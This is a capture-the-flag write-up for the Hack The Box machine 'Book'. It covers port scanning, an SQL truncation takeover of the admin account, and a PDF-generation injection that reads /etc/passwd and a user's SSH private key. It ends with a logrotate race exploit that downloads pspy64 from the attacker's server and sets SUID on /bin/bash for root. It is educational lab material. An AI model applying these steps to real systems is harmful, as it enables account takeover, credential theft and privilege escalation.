Book

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.176 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.176 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's start by enumerating subdirectories and pages with gobuster.

gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

The index.php page shows a login page where we can register a user.

Let's create a user and log into the website.

Once logged in, we'll see different sections. In the Contact Us section, we'll see the email of the admin user.

We can also modify our profile from View Profile.

From here we can change our username. Note that if we try to change our username to something like 123456789101112131415, it will get chopt to 10 characters.

Exploitation

This feature could lead to a SQL Truncation vulnerability. The idea is to register a new user with the email admin@book.htb ., so when it gets trimmed, The email will be admin@book.htb, and we'll be able to log in as admin. Create a new account with the name admin, the email admin@book.htb, and the password admin123.

Intercept the request with BurpSuite. Add some + characters, which are spaces base64 encoded, and a character at the end of the email parameter. Note the . characters after the +.

As the email gets trimmed, we just registered the admin user with the admin123 password. Log in with those credentials.

Now we are logged in as the admin user.

And these credentials are also valid for the login page in the /admin directory.

In the /admin/collection.php we can see a link to a PDF.

This PDF file contains a list with all the available collections.

We could try to inject a malicious payload into the dynamic PDF file generated from the /collections.php page. As the title of the collection is represented in the dynamic PDF, we could inject some code into the title, which will show the content of a file. In this case, we could start by listing the content of the /etc/passwd file. Inject the following code in the Book Title field and submit it together with a sample PDF file.

If we download again the collections PDF file from /admin/collections.php, we'll see the content of the /etc/passwd file.

Notice there is a user called reader. As port 22 is open, let's try to get his private SSH key.

Download the collections PDF again, and view the id_rsa key.

Copy and paste the key into the id_rsa file in our local system, give it the right permissions

micro id_rsa && chmod 600 id_rsa

Get a shell as reader, and then we'll be able to grab the user flag.

ssh -i id_rsa reader@10.10.10.176

Privilege Escalation

There is a directory called backups in the home directory of the reader user.

ls -l /home/reader

Which contains a few log files.

ls -la /home/reader/backups/

Maybe there is some kind of background jobs generating them. Let's upload pspy64 to the machine, and see the background processes. Set a simple HTTP server where the pspy64 binary is located.

python -m http.server 80

And download it from the /dev/shm directory.

cd /dev/shm

wget http://10.10.14.6/pspy64

chmod +x pspy64

Run the binary to check the processes.

./pspy64

As we can see, root is running the logrotate binary. As we can see, there is an exploit which allows privilege escalation. First, we need to create the payload file, with bash code that will give the /bin/bash binary SUID privileges.

nano /dev/shm/payload

Now copy and paste the code from the exploit into the logrotate.c file.

nano logrotate.c

Compile the code.

gcc -o logrotate logrotate.c

Run the following command.

./logrotate -p ./payload /home/reader/backups/access.log

Inject some text into the access.log file to trigger the exploit.

echo rooted > /home/reader/backups/access.log

Now the /bin/bash binary has SUID permissions.

ls -l /bin/bash

Finally, get a shell as root, and then all we have to do is reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?